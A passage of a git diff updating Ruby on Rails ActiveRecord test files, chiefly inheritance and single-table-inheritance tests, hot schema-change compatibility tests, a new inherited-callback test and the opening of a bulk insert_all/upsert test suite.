-  attr_reader :logged
-  attr_reader :payloads
+  module WaitForAsyncTestHelper
+    private
+      def wait_for_async_query(connection = ActiveRecord::Base.lease_connection, timeout: 5)
+        return unless connection.async_enabled?
 
-  def initialize
-    @logged = []
-    @payloads = []
-  end
+        executor = connection.pool.async_executor
+        (timeout * 100).times do
+          return unless executor.scheduled_task_count > executor.completed_task_count
+          sleep 0.01
+        end
 
-  def start(name, id, payload)
-    @payloads << payload
-    @logged << [payload[:sql].squish, payload[:name], payload[:binds]]
+        raise Timeout::Error, "The async executor wasn't drained after #{timeout} seconds"
+      end
   end
-
-  def finish(name, id, payload); end
 end
 
-module InTimeZone
-  private
-
-    def in_time_zone(zone)
-      old_zone  = Time.zone
-      old_tz    = ActiveRecord::Base.time_zone_aware_attributes
+# Encryption
 
-      Time.zone = zone ? ActiveSupport::TimeZone[zone] : nil
-      ActiveRecord::Base.time_zone_aware_attributes = !zone.nil?
-      yield
-    ensure
-      Time.zone = old_zone
-      ActiveRecord::Base.time_zone_aware_attributes = old_tz
-    end
-end
+ActiveRecord::Encryption.configure \
+  primary_key: "test master key",
+  deterministic_key: "test deterministic key",
+  key_derivation_salt: "testing key derivation salt"
 
-require "mocha/setup" # FIXME: stop using mocha
+# Simulate https://github.com/rails/rails/blob/735cba5bed7a54c7397dfeec1bed16033ae286f8/activerecord/lib/active_record/railtie.rb#L392
+ActiveRecord::Encryption.config.extend_queries = true
+ActiveRecord::Encryption::ExtendedDeterministicQueries.install_support
+ActiveRecord::Encryption::ExtendedDeterministicUniquenessValidator.install_support
diff --git a/activerecord/test/cases/hot_compatibility_test.rb b/activerecord/test/cases/hot_compatibility_test.rb
index e107ff236267f..b22508c862a9c 100644
--- a/activerecord/test/cases/hot_compatibility_test.rb
+++ b/activerecord/test/cases/hot_compatibility_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/connection_helper"
 
@@ -7,7 +9,7 @@ class HotCompatibilityTest < ActiveRecord::TestCase
 
   setup do
     @klass = Class.new(ActiveRecord::Base) do
-      connection.create_table :hot_compatibilities, force: true do |t|
+      lease_connection.create_table :hot_compatibilities, force: true do |t|
         t.string :foo
         t.string :bar
       end
@@ -17,7 +19,7 @@ def self.name; "HotCompatibility"; end
   end
 
   teardown do
-    ActiveRecord::Base.connection.drop_table :hot_compatibilities
+    ActiveRecord::Base.lease_connection.drop_table :hot_compatibilities
   end
 
   test "insert after remove_column" do
@@ -28,7 +30,7 @@ def self.name; "HotCompatibility"; end
     assert_equal 3, @klass.columns.length
 
     # remove one of them
-    @klass.connection.remove_column :hot_compatibilities, :bar
+    @klass.lease_connection.remove_column :hot_compatibilities, :bar
 
     # we still have 3 columns in the cache
     assert_equal 3, @klass.columns.length
@@ -43,7 +45,7 @@ def self.name; "HotCompatibility"; end
   test "update after remove_column" do
     record = @klass.create! foo: "foo"
     assert_equal 3, @klass.columns.length
-    @klass.connection.remove_column :hot_compatibilities, :bar
+    @klass.lease_connection.remove_column :hot_compatibilities, :bar
     assert_equal 3, @klass.columns.length
 
     record.reload
@@ -54,7 +56,7 @@ def self.name; "HotCompatibility"; end
     assert_equal "bar", record.foo
   end
 
-  if current_adapter?(:PostgreSQLAdapter)
+  if current_adapter?(:PostgreSQLAdapter) && ActiveRecord::Base.lease_connection.prepared_statements
     test "cleans up after prepared statement failure in a transaction" do
       with_two_connections do |original_connection, ddl_connection|
         record = @klass.create! bar: "bar"
@@ -64,7 +66,7 @@ def self.name; "HotCompatibility"; end
           record.reload
         end
 
-        assert get_prepared_statement_cache(@klass.connection).any?,
+        assert_predicate get_prepared_statement_cache(@klass.lease_connection), :any?,
           "expected prepared statement cache to have something in it"
 
         # add a new column
@@ -76,7 +78,7 @@ def self.name; "HotCompatibility"; end
           end
         end
 
-        assert_empty get_prepared_statement_cache(@klass.connection),
+        assert_empty get_prepared_statement_cache(@klass.lease_connection),
           "expected prepared statement cache to be empty but it wasn't"
       end
     end
@@ -90,7 +92,7 @@ def self.name; "HotCompatibility"; end
           record.reload
         end
 
-        assert get_prepared_statement_cache(@klass.connection).any?,
+        assert_predicate get_prepared_statement_cache(@klass.lease_connection), :any?,
           "expected prepared statement cache to have something in it"
 
         # add a new column
@@ -106,14 +108,13 @@ def self.name; "HotCompatibility"; end
           end
         end
 
-        assert_empty get_prepared_statement_cache(@klass.connection),
+        assert_empty get_prepared_statement_cache(@klass.lease_connection),
           "expected prepared statement cache to be empty but it wasn't"
       end
     end
   end
 
   private
-
     def get_prepared_statement_cache(connection)
       connection.instance_variable_get(:@statements)
         .instance_variable_get(:@cache)[Process.pid]
@@ -135,7 +136,7 @@ def with_two_connections
             ActiveRecord::Base.connection_pool.checkin ddl_connection
           end
         ensure
-          ActiveRecord::Base.clear_all_connections!
+          ActiveRecord::Base.connection_handler.clear_all_connections!(:all)
         end
       end
     end
diff --git a/activerecord/test/cases/i18n_test.rb b/activerecord/test/cases/i18n_test.rb
index 7f03c5b23de00..22981c142ae79 100644
--- a/activerecord/test/cases/i18n_test.rb
+++ b/activerecord/test/cases/i18n_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 require "models/reply"
diff --git a/activerecord/test/cases/inheritance_test.rb b/activerecord/test/cases/inheritance_test.rb
index e570e9ac1de8c..e723259b75679 100644
--- a/activerecord/test/cases/inheritance_test.rb
+++ b/activerecord/test/cases/inheritance_test.rb
@@ -1,6 +1,11 @@
+# frozen_string_literal: true
+
+require "active_support/inflector"
+require "zeitwerk"
 require "cases/helper"
 require "models/author"
 require "models/company"
+require "models/membership"
 require "models/person"
 require "models/post"
 require "models/project"
@@ -8,6 +13,7 @@
 require "models/vegetables"
 require "models/shop"
 require "models/sponsor"
+require "models/club"
 
 module InheritanceTestHelper
   def with_store_full_sti_class(&block)
@@ -29,7 +35,7 @@ def assign_store_full_sti_class(flag)
 
 class InheritanceTest < ActiveRecord::TestCase
   include InheritanceTestHelper
-  fixtures :companies, :projects, :subscribers, :accounts, :vegetables
+  fixtures :companies, :projects, :subscribers, :accounts, :vegetables, :memberships
 
   def test_class_with_store_full_sti_class_returns_full_name
     with_store_full_sti_class do
@@ -40,14 +46,8 @@ def test_class_with_store_full_sti_class_returns_full_name
   def test_class_with_blank_sti_name
     company = Company.first
     company = company.dup
-    company.extend(Module.new {
-      def _read_attribute(name)
-        return "  " if name == "type"
-        super
-      end
-    })
-    company.save!
-    company = Company.all.to_a.find { |x| x.id == company.id }
+    company.update!(type: "  ")
+    company = Company.find(company.id)
     assert_equal "  ", company.type
   end
 
@@ -65,43 +65,38 @@ def test_compute_type_nonexistent_constant
     e = assert_raises NameError do
       Company.send :compute_type, "NonexistentModel"
     end
-    assert_equal "uninitialized constant Company::NonexistentModel", e.message
+    assert_match "uninitialized constant Company::NonexistentModel", e.message
     assert_equal "Company::NonexistentModel", e.name
   end
 
   def test_compute_type_no_method_error
-    ActiveSupport::Dependencies.stub(:safe_constantize, proc { raise NoMethodError }) do
-      assert_raises NoMethodError do
-        Company.send :compute_type, "InvalidModel"
-      end
-    end
+    # Done via autoload because you need the exception to happen when the file
+    # is required.
+    model = "RaisesNoMethodError"
+    Object.autoload(model, "#{MODELS_ROOT}/#{model.underscore}")
+    assert_raises(NoMethodError) { Company.send(:compute_type, model) }
+  ensure
+    Object.send(:remove_const, model)
   end
 
   def test_compute_type_on_undefined_method
-    error = nil
-    begin
-      Class.new(Author) do
-        alias_method :foo, :bar
-      end
-    rescue => e
-      error = e
-    end
-
-    ActiveSupport::Dependencies.stub(:safe_constantize, proc { raise e }) do
-
-      exception = assert_raises NameError do
-        Company.send :compute_type, "InvalidModel"
-      end
-      assert_equal error.message, exception.message
-    end
+    # Done via autoload because you need the exception to happen when the file
+    # is required.
+    model = "InvokesAnUndefinedMethod"
+    Object.autoload(model, "#{MODELS_ROOT}/#{model.underscore}")
+    assert_raises(NameError) { Company.send(:compute_type, model) }
+  ensure
+    Object.send(:remove_const, model)
   end
 
   def test_compute_type_argument_error
-    ActiveSupport::Dependencies.stub(:safe_constantize, proc { raise ArgumentError }) do
-      assert_raises ArgumentError do
-        Company.send :compute_type, "InvalidModel"
-      end
-    end
+    # Done via autoload because you need the exception to happen when the file
+    # is required.
+    model = "RaisesArgumentError"
+    Object.autoload(model, "#{MODELS_ROOT}/#{model.underscore}")
+    assert_raises(ArgumentError) { Company.send(:compute_type, model) }
+  ensure
+    Object.send(:remove_const, model)
   end
 
   def test_should_store_demodulized_class_name_with_store_full_sti_class_option_disabled
@@ -127,65 +122,80 @@ def test_different_namespace_subclass_should_load_correctly_with_store_full_sti_
   end
 
   def test_descends_from_active_record
-    assert !ActiveRecord::Base.descends_from_active_record?
+    assert_not_predicate ActiveRecord::Base, :descends_from_active_record?
 
     # Abstract subclass of AR::Base.
-    assert LoosePerson.descends_from_active_record?
+    assert_predicate LoosePerson, :descends_from_active_record?
 
     # Concrete subclass of an abstract class.
-    assert LooseDescendant.descends_from_active_record?
+    assert_predicate LooseDescendant, :descends_from_active_record?
 
     # Concrete subclass of AR::Base.
-    assert TightPerson.descends_from_active_record?
+    assert_predicate TightPerson, :descends_from_active_record?
 
     # Concrete subclass of a concrete class but has no type column.
-    assert TightDescendant.descends_from_active_record?
+    assert_predicate TightDescendant, :descends_from_active_record?
 
     # Concrete subclass of AR::Base.
-    assert Post.descends_from_active_record?
+    assert_predicate Post, :descends_from_active_record?
+
+    # Concrete subclasses of a concrete class which has a type column.
+    assert_not_predicate StiPost, :descends_from_active_record?
+    assert_not_predicate SubStiPost, :descends_from_active_record?
 
     # Abstract subclass of a concrete class which has a type column.
     # This is pathological, as you'll never have Sub < Abstract < Concrete.
-    assert !StiPost.descends_from_active_record?
+    assert_not_predicate AbstractStiPost, :descends_from_active_record?
 
-    # Concrete subclasses an abstract class which has a type column.
-    assert !SubStiPost.descends_from_active_record?
+    # Concrete subclass of an abstract class which has a type column.
+    assert_not_predicate SubAbstractStiPost, :descends_from_active_record?
   end
 
   def test_company_descends_from_active_record
-    assert !ActiveRecord::Base.descends_from_active_record?
-    assert AbstractCompany.descends_from_active_record?, "AbstractCompany should descend from ActiveRecord::Base"
-    assert Company.descends_from_active_record?, "Company should descend from ActiveRecord::Base"
-    assert !Class.new(Company).descends_from_active_record?, "Company subclass should not descend from ActiveRecord::Base"
+    assert_not_predicate ActiveRecord::Base, :descends_from_active_record?
+    assert_predicate AbstractCompany, :descends_from_active_record?, "AbstractCompany should descend from ActiveRecord::Base"
+    assert_predicate Company, :descends_from_active_record?, "Company should descend from ActiveRecord::Base"
+    assert_not Class.new(Company).descends_from_active_record?, "Company subclass should not descend from ActiveRecord::Base"
   end
 
   def test_abstract_class
-    assert !ActiveRecord::Base.abstract_class?
-    assert LoosePerson.abstract_class?
-    assert !LooseDescendant.abstract_class?
+    assert_not_predicate ActiveRecord::Base, :abstract_class?
+    assert_predicate LoosePerson, :abstract_class?
+    assert_not_predicate LooseDescendant, :abstract_class?
   end
 
   def test_inheritance_base_class
     assert_equal Post, Post.base_class
+    assert_predicate Post, :base_class?
     assert_equal Post, SpecialPost.base_class
+    assert_not_predicate SpecialPost, :base_class?
     assert_equal Post, StiPost.base_class
-    assert_equal SubStiPost, SubStiPost.base_class
+    assert_not_predicate StiPost, :base_class?
+    assert_equal Post, SubStiPost.base_class
+    assert_not_predicate SubStiPost, :base_class?
+    assert_equal SubAbstractStiPost, SubAbstractStiPost.base_class
+    assert_predicate SubAbstractStiPost, :base_class?
   end
 
   def test_abstract_inheritance_base_class
     assert_equal LoosePerson, LoosePerson.base_class
+    assert_predicate LoosePerson, :base_class?
     assert_equal LooseDescendant, LooseDescendant.base_class
+    assert_predicate LooseDescendant, :base_class?
     assert_equal TightPerson, TightPerson.base_class
+    assert_predicate TightPerson, :base_class?
     assert_equal TightPerson, TightDescendant.base_class
+    assert_not_predicate TightDescendant, :base_class?
   end
 
   def test_base_class_activerecord_error
-    klass = Class.new { include ActiveRecord::Inheritance }
-    assert_raise(ActiveRecord::ActiveRecordError) { klass.base_class }
+    assert_raise(ActiveRecord::ActiveRecordError) do
+      Class.new { include ActiveRecord::Inheritance }
+    end
   end
 
   def test_a_bad_type_column
-    Company.connection.insert "INSERT INTO companies (id, #{QUOTED_TYPE}, name) VALUES(100, 'bad_class!', 'Not happening')"
+    Company.lease_connection.insert "INSERT INTO companies (id, #{QUOTED_TYPE}, name) VALUES(100, 'bad_class!', 'Not happening')"
 
     assert_raise(ActiveRecord::SubclassNotFound) { Company.find(100) }
   end
@@ -211,6 +221,16 @@ def test_alt_becomes_works_with_sti
     assert_kind_of Cabbage, cabbage
   end
 
+  def test_becomes_sets_variables_before_initialization_callbacks
+    vegetable = Vegetable.create!(name: "yelling carrot")
+    assert_kind_of Vegetable, vegetable
+    assert_equal "yelling carrot", vegetable.name
+
+    yelling_veggie = vegetable.becomes(YellingVegetable)
+    assert_equal "YELLING CARROT", yelling_veggie.name, "YellingVegetable name should be YELLING CARROT"
+    assert_equal "YELLING CARROT", vegetable.name, "Vegetable name should be YELLING CARROT after becoming a YellingVegetable"
+  end
+
   def test_becomes_and_change_tracking_for_inheritance_columns
     cucumber = Vegetable.find(1)
     cabbage = cucumber.becomes!(Cabbage)
@@ -224,7 +244,7 @@ def test_alt_becomes_bang_resets_inheritance_type_column
     cabbage = vegetable.becomes!(Cabbage)
     assert_equal "Cabbage", cabbage.custom_type
 
-    vegetable = cabbage.becomes!(Vegetable)
+    cabbage.becomes!(Vegetable)
     assert_nil cabbage.custom_type
   end
 
@@ -272,6 +292,21 @@ def test_inheritance_new_with_subclass
     assert_equal Firm, firm.class
   end
 
+  def test_where_new_with_subclass
+    firm = Company.where(type: "Firm").new
+    assert_equal Firm, firm.class
+  end
+
+  def test_where_create_with_subclass
+    firm = Company.where(type: "Firm").create(name: "Basecamp")
+    assert_equal Firm, firm.class
+  end
+
+  def test_where_create_bang_with_subclass
+    firm = Company.where(type: "Firm").create!(name: "Basecamp")
+    assert_equal Firm, firm.class
+  end
+
   def test_new_with_abstract_class
     e = assert_raises(NotImplementedError) do
       AbstractCompany.new
@@ -294,6 +329,30 @@ def test_new_with_unrelated_type
     assert_raise(ActiveRecord::SubclassNotFound) { Company.new(type: "Account") }
   end
 
+  def test_where_new_with_invalid_type
+    assert_raise(ActiveRecord::SubclassNotFound) { Company.where(type: "InvalidType").new }
+  end
+
+  def test_where_new_with_unrelated_type
+    assert_raise(ActiveRecord::SubclassNotFound) { Company.where(type: "Account").new }
+  end
+
+  def test_where_create_with_invalid_type
+    assert_raise(ActiveRecord::SubclassNotFound) { Company.where(type: "InvalidType").create }
+  end
+
+  def test_where_create_with_unrelated_type
+    assert_raise(ActiveRecord::SubclassNotFound) { Company.where(type: "Account").create }
+  end
+
+  def test_where_create_bang_with_invalid_type
+    assert_raise(ActiveRecord::SubclassNotFound) { Company.where(type: "InvalidType").create! }
+  end
+
+  def test_where_create_bang_with_unrelated_type
+    assert_raise(ActiveRecord::SubclassNotFound) { Company.where(type: "Account").create! }
+  end
+
   def test_new_with_unrelated_namespaced_type
     without_store_full_sti_class do
       e = assert_raises ActiveRecord::SubclassNotFound do
@@ -316,19 +375,21 @@ def test_new_without_storing_full_sti_class
   end
 
   def test_new_with_autoload_paths
-    path = File.expand_path("../../models/autoloadable", __FILE__)
-    ActiveSupport::Dependencies.autoload_paths << path
-
-    firm = Company.new(type: "ExtraFirm")
-    assert_equal ExtraFirm, firm.class
-  ensure
-    ActiveSupport::Dependencies.autoload_paths.reject! { |p| p == path }
-    ActiveSupport::Dependencies.clear
+    path = File.expand_path("../models/autoloadable", __dir__)
+    Zeitwerk.with_loader do |loader|
+      loader.push_dir(path)
+      loader.setup
+
+      firm = Company.new(type: "ExtraFirm")
+      assert_equal ExtraFirm, firm.class
+    ensure
+      loader.unload
+    end
   end
 
   def test_inheritance_condition
-    assert_equal 11, Company.count
-    assert_equal 2, Firm.count
+    assert_equal 12, Company.count
+    assert_equal 3, Firm.count
     assert_equal 5, Client.count
   end
 
@@ -364,7 +425,7 @@ def test_alt_update_all_within_inheritance
   def test_destroy_all_within_inheritance
     Client.destroy_all
     assert_equal 0, Client.count
-    assert_equal 2, Firm.count
+    assert_equal 3, Firm.count
   end
 
   def test_alt_destroy_all_within_inheritance
@@ -407,17 +468,17 @@ def test_alt_complex_inheritance
 
   def test_eager_load_belongs_to_something_inherited
     account = Account.all.merge!(includes: :firm).find(1)
-    assert account.association(:firm).loaded?, "association was not eager loaded"
+    assert_predicate account.association(:firm), :loaded?, "association was not eager loaded"
   end
 
   def test_alt_eager_loading
     cabbage = RedCabbage.all.merge!(includes: :seller).find(4)
-    assert cabbage.association(:seller).loaded?, "association was not eager loaded"
+    assert_predicate cabbage.association(:seller), :loaded?, "association was not eager loaded"
   end
 
   def test_eager_load_belongs_to_primary_key_quoting
-    con = Account.connection
-    assert_sql(/#{con.quote_table_name('companies')}.#{con.quote_column_name('id')} = 1/) do
+    bind_param = Arel::Nodes::BindParam.new(nil)
+    assert_queries_match(/#{Regexp.escape(quote_table_name("companies.id"))} = (?:#{Regexp.escape(bind_param.to_sql)}|1)/i) do
       Account.all.merge!(includes: :firm).find(1)
     end
   end
@@ -432,8 +493,12 @@ def test_inheritance_without_mapping
   end
 
   def test_scope_inherited_properly
-    assert_nothing_raised { Company.of_first_firm }
-    assert_nothing_raised { Client.of_first_firm }
+    assert_nothing_raised { Company.of_first_firm.to_a }
+    assert_nothing_raised { Client.of_first_firm.to_a }
+  end
+
+  def test_inheritance_with_default_scope
+    assert_equal 1, SelectedMembership.count(:all)
   end
 end
 
@@ -441,11 +506,6 @@ class InheritanceComputeTypeTest < ActiveRecord::TestCase
   include InheritanceTestHelper
   fixtures :companies
 
-  teardown do
-    self.class.const_remove :FirmOnTheFly rescue nil
-    Firm.const_remove :FirmOnTheFly rescue nil
-  end
-
   def test_instantiation_doesnt_try_to_require_corresponding_file
     without_store_full_sti_class do
       foo = Firm.first.clone
@@ -454,10 +514,12 @@ def test_instantiation_doesnt_try_to_require_corresponding_file
 
       # Should fail without FirmOnTheFly in the type condition.
       assert_raise(ActiveRecord::RecordNotFound) { Firm.find(foo.id) }
+      assert_raise(ActiveRecord::RecordNotFound) { Firm.find_by!(id: foo.id) }
 
       # Nest FirmOnTheFly in the test case where Dependencies won't see it.
       self.class.const_set :FirmOnTheFly, Class.new(Firm)
       assert_raise(ActiveRecord::SubclassNotFound) { Firm.find(foo.id) }
+      assert_raise(ActiveRecord::SubclassNotFound) { Firm.find_by!(id: foo.id) }
 
       # Nest FirmOnTheFly in Firm where Dependencies will see it.
       # This is analogous to nesting models in a migration.
@@ -466,7 +528,11 @@ def test_instantiation_doesnt_try_to_require_corresponding_file
       # And instantiate will find the existing constant rather than trying
       # to require firm_on_the_fly.
       assert_nothing_raised { assert_kind_of Firm::FirmOnTheFly, Firm.find(foo.id) }
+      assert_nothing_raised { assert_kind_of Firm::FirmOnTheFly, Firm.find_by!(id: foo.id) }
     end
+  ensure
+    self.class.send(:remove_const, :FirmOnTheFly) rescue nil
+    Firm.send(:remove_const, :FirmOnTheFly) rescue nil
   end
 
   def test_sti_type_from_attributes_disabled_in_non_sti_class
@@ -477,7 +543,7 @@ def test_sti_type_from_attributes_disabled_in_non_sti_class
 
   def test_inheritance_new_with_subclass_as_default
     original_type = Company.columns_hash["type"].default
-    ActiveRecord::Base.connection.change_column_default :companies, :type, "Firm"
+    ActiveRecord::Base.lease_connection.change_column_default :companies, :type, "Firm"
     Company.reset_column_information
 
     firm = Company.new # without arguments
@@ -496,7 +562,7 @@ def test_inheritance_new_with_subclass_as_default
     assert_equal "Client", firm.type
     assert_instance_of Client, firm
   ensure
-    ActiveRecord::Base.connection.change_column_default :companies, :type, original_type
+    ActiveRecord::Base.lease_connection.change_column_default :companies, :type, original_type
     Company.reset_column_information
   end
 end
@@ -526,17 +592,10 @@ def test_inheritance_new_with_subclass_as_default
 
 class InheritanceAttributeMappingTest < ActiveRecord::TestCase
   setup do
-    @old_registry = ActiveRecord::Type.registry
-    ActiveRecord::Type.registry = ActiveRecord::Type::AdapterSpecificRegistry.new
-    ActiveRecord::Type.register :omg_sti, InheritanceAttributeMappingTest::OmgStiType
     Company.delete_all
     Sponsor.delete_all
   end
 
-  teardown do
-    ActiveRecord::Type.registry = @old_registry
-  end
-
   class OmgStiType < ActiveRecord::Type::String
     def cast_value(value)
       if value =~ /\Aomg_(.+)\z/
@@ -553,6 +612,8 @@ def serialize(value)
     end
   end
 
+  ActiveRecord::Type.register :omg_sti, OmgStiType
+
   class Company < ActiveRecord::Base
     self.table_name = "companies"
     attribute :type, :omg_sti
@@ -573,7 +634,7 @@ def test_sti_with_custom_type
     Empire.create! name: "an Empire"
 
     assert_equal [["a Startup", "omg_inheritance_attribute_mapping_test/startup"],
-                  ["an Empire", "omg_inheritance_attribute_mapping_test/empire"]], ActiveRecord::Base.connection.select_rows("SELECT name, type FROM companies").sort
+                  ["an Empire", "omg_inheritance_attribute_mapping_test/empire"]], ActiveRecord::Base.lease_connection.select_rows("SELECT name, type FROM companies").sort
     assert_equal [["a Startup", "InheritanceAttributeMappingTest::Startup"],
                   ["an Empire", "InheritanceAttributeMappingTest::Empire"]], Company.all.map { |a| [a.name, a.type] }.sort
 
@@ -582,7 +643,7 @@ def test_sti_with_custom_type
     startup.save!
 
     assert_equal [["a Startup", "omg_inheritance_attribute_mapping_test/empire"],
-                  ["an Empire", "omg_inheritance_attribute_mapping_test/empire"]], ActiveRecord::Base.connection.select_rows("SELECT name, type FROM companies").sort
+                  ["an Empire", "omg_inheritance_attribute_mapping_test/empire"]], ActiveRecord::Base.lease_connection.select_rows("SELECT name, type FROM companies").sort
 
     assert_equal [["a Startup", "InheritanceAttributeMappingTest::Empire"],
                   ["an Empire", "InheritanceAttributeMappingTest::Empire"]], Company.all.map { |a| [a.name, a.type] }.sort
@@ -592,9 +653,9 @@ def test_polymorphic_associations_custom_type
     startup = Startup.create! name: "a Startup"
     sponsor = Sponsor.create! sponsorable: startup
 
-    assert_equal ["omg_inheritance_attribute_mapping_test/company"], ActiveRecord::Base.connection.select_values("SELECT sponsorable_type FROM sponsors")
+    assert_equal ["omg_inheritance_attribute_mapping_test/company"], ActiveRecord::Base.lease_connection.select_values("SELECT sponsorable_type FROM sponsors")
 
-    sponsor = Sponsor.first
+    sponsor = Sponsor.find(sponsor.id)
     assert_equal startup, sponsor.sponsorable
   end
 end
diff --git a/activerecord/test/cases/inherited_test.rb b/activerecord/test/cases/inherited_test.rb
new file mode 100644
index 0000000000000..c5bfa579b8bc4
--- /dev/null
+++ b/activerecord/test/cases/inherited_test.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module Inherited
+  # When running the test with `RAILS_STRICT_WARNINGS` enabled, the `belongs_to`
+  # call should not emit a warning that the constant `GeneratedAssociationMethods`
+  # is already defined.
+  class Person < ActiveRecord::Base; end
+
+  class Device < ActiveRecord::Base
+    def self.inherited(subclass)
+      subclass.belongs_to :person, inverse_of: subclass.name.demodulize.tableize.to_sym
+      subclass.filter_attributes = [:secret_attribute, :"#{subclass.name.demodulize.downcase}_key"]
+      super
+    end
+  end
+
+  class Computer < Device; end
+
+  class Vehicle < ActiveRecord::Base
+    def self.inherited(subclass)
+      super
+      subclass.belongs_to :person, inverse_of: subclass.name.demodulize.tableize.to_sym
+      subclass.filter_attributes = [:secret_attribute, :"#{subclass.name.demodulize.downcase}_key"]
+    end
+  end
+
+  class Car < Vehicle; end
+end
+
+class InheritedTest < ActiveRecord::TestCase
+  def test_super_before_filter_attributes
+    assert_equal %i[secret_attribute car_key], Inherited::Car.filter_attributes
+  end
+
+  def test_super_after_filter_attributes
+    assert_equal %i[secret_attribute computer_key], Inherited::Computer.filter_attributes
+  end
+end
diff --git a/activerecord/test/cases/insert_all_test.rb b/activerecord/test/cases/insert_all_test.rb
new file mode 100644
index 0000000000000..0b5be5a74346b
--- /dev/null
+++ b/activerecord/test/cases/insert_all_test.rb
@@ -0,0 +1,1073 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/book"
+require "models/category"
+require "models/cart"
+require "models/developer"
+require "models/ship"
+require "models/speedometer"
+require "models/subscription"
+require "models/subscriber"
+
+class ReadonlyNameBook < Book
+  attr_readonly :name
+end
+
+class InsertAllTest < ActiveRecord::TestCase
+  fixtures :books
+
+  def run(*)
+    with_debug_event_reporting do
+      super
+    end
+  end
+
+  def setup
+    Arel::Table.engine = nil # should not rely on the global Arel::Table.engine
+    @original_db_warnings_action = :ignore
+  end
+
+  def teardown
+    Arel::Table.engine = ActiveRecord::Base
+  end
+
+  def test_insert
+    skip unless supports_insert_on_duplicate_skip?
+
+    id = 1_000_000
+
+    assert_difference "Book.count", +1 do
+      Book.insert({ id: id, name: "Rework", author_id: 1 })
+    end
+
+    Book.upsert({ id: id, name: "Remote", author_id: 1 })
+
+    assert_equal "Remote", Book.find(id).name
+  end
+
+  def test_insert!
+    assert_difference "Book.count", +1 do
+      Book.insert!({ name: "Rework", author_id: 1 })
+    end
+  end
+
+  def test_insert_with_type_casting_and_serialize_is_consistent
+    skip unless supports_insert_returning?
+
+    book_name = ["Array"]
+    created_book_id = Book.create!(name: book_name).id
+    inserted_book_id = Book.insert!({ name: book_name }, returning: :id).first["id"]
+    created_book = Book.find_by!(id: created_book_id)
+    inserted_book = Book.find_by!(id: inserted_book_id)
+    assert_equal created_book.name, inserted_book.name
+  end
+
+  def test_insert_all
+    assert_difference "Book.count", +10 do
+      Book.insert_all! [
+        { name: "Rework", author_id: 1 },
+        { name: "Patterns of Enterprise Application Architecture", author_id: 1 },
+        { name: "Design of Everyday Things", author_id: 1 },
+        { name: "Practical Object-Oriented Design in Ruby", author_id: 1 },
+        { name: "Clean Code", author_id: 1 },
+        { name: "Ruby Under a Microscope", author_id: 1 },
+        { name: "The Principles of Product Development Flow", author_id: 1 },
+        { name: "Peopleware", author_id: 1 },
+        { name: "About Face", author_id: 1 },
+        { name: "Eloquent Ruby", author_id: 1 },
+      ]
+    end
+  end
+
+  def test_insert_all_should_handle_empty_arrays
+    skip unless supports_insert_on_duplicate_update?
+
+    assert_empty Book.insert_all([])
+    assert_empty Book.insert_all!([])
+    assert_empty Book.upsert_all([])
+  end
+
+  def test_insert_all_raises_on_duplicate_records
+    assert_raise ActiveRecord::RecordNotUnique do
+      Book.insert_all! [
+        { name: "Rework", author_id: 1 },
+        { name: "Patterns of Enterprise Application Architecture", author_id: 1 },
+        { name: "Agile Web Development with Rails", author_id: 1 },
+      ]
+    end
+  end
+
+  def test_insert_all_returns_ActiveRecord_Result
+    result = Book.insert_all! [{ name: "Rework", author_id: 1 }]
+    assert_kind_of ActiveRecord::Result, result
+  end
+
+  def test_insert_all_returns_primary_key_if_returning_is_supported
+    skip unless supports_insert_returning?
+
+    result = Book.insert_all! [{ name: "Rework", author_id: 1 }]
+    assert_equal %w[ id ], result.columns
+  end
+
+  def test_insert_all_returns_nothing_if_returning_is_empty
+    skip unless supports_insert_returning?
+
+    result = Book.insert_all! [{ name: "Rework", author_id: 1 }], returning: []
+    assert_equal [], result.columns
+  end
+
+  def test_insert_all_returns_nothing_if_returning_is_false
+    skip unless supports_insert_returning?
+
+    result = Book.insert_all! [{ name: "Rework", author_id: 1 }], returning: false
+    assert_equal [], result.columns
+  end
+
+  def test_insert_all_returns_requested_fields
+    skip unless supports_insert_returning?
+
+    result = Book.insert_all! [{ name: "Rework", author_id: 1 }], returning: [:id, :name]
+    assert_equal %w[ Rework ], result.pluck("name")
+  end
+
+  def test_insert_all_returns_requested_sql_fields
+    skip unless supports_insert_returning?
+
+    result = Book.insert_all! [{ name: "Rework", author_id: 1 }], returning: Arel.sql("UPPER(name) as name")
+    assert_equal %w[ REWORK ], result.pluck("name")
+  end
+
+  def test_insert_all_can_skip_duplicate_records
+    skip unless supports_insert_on_duplicate_skip?
+
+    assert_no_difference "Book.count" do
+      Book.insert_all [{ id: 1, name: "Agile Web Development with Rails" }]
+    end
+  end
+
+  if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+    def test_insert_all_generates_correct_sql
+      skip unless supports_insert_on_duplicate_skip?
+
+      assert_queries_match(/ON DUPLICATE KEY UPDATE/) do
+        Book.insert_all [{ id: 1, name: "Agile Web Development with Rails" }]
+      end
+    end
+
+    def test_insert_all_succeeds_when_passed_no_attributes
+      skip unless supports_insert_on_duplicate_skip?
+
+      assert_nothing_raised do
+        Book.insert_all [{}]
+      end
+    end
+  end
+
+  def test_insert_all_with_skip_duplicates_and_autonumber_id_not_given
+    skip unless supports_insert_on_duplicate_skip?
+
+    assert_difference "Book.count", 1 do
+      # These two books are duplicates according to an index on %i[author_id name]
+      # but their IDs are not specified so they will be assigned different IDs
+      # by autonumber. We will get an exception from MySQL if we attempt to skip
+      # one of these records by assigning its ID.
+      Book.insert_all [
+        { author_id: 8, name: "Refactoring" },
+        { author_id: 8, name: "Refactoring" }
+      ]
+    end
+  end
+
+  def test_insert_all_with_skip_duplicates_and_autonumber_id_given
+    skip unless supports_insert_on_duplicate_skip?
+
+    assert_difference "Book.count", 1 do
+      Book.insert_all [
+        { id: 200, author_id: 8, name: "Refactoring" },
+        { id: 201, author_id: 8, name: "Refactoring" }
+      ]
+    end
+  end
+
+  def test_insert_all_only_applies_last_value_when_given_duplicate_identifiers
+    skip unless supports_insert_on_duplicate_skip?
+
+    Book.insert_all [
+      { id: 111, name: "expected_new_name" },
+      { id: 111, name: "unexpected_new_name" }
+    ]
+    assert_equal "expected_new_name", Book.find(111).name
+  end
+
+  def test_skip_duplicates_strategy_does_not_secretly_upsert
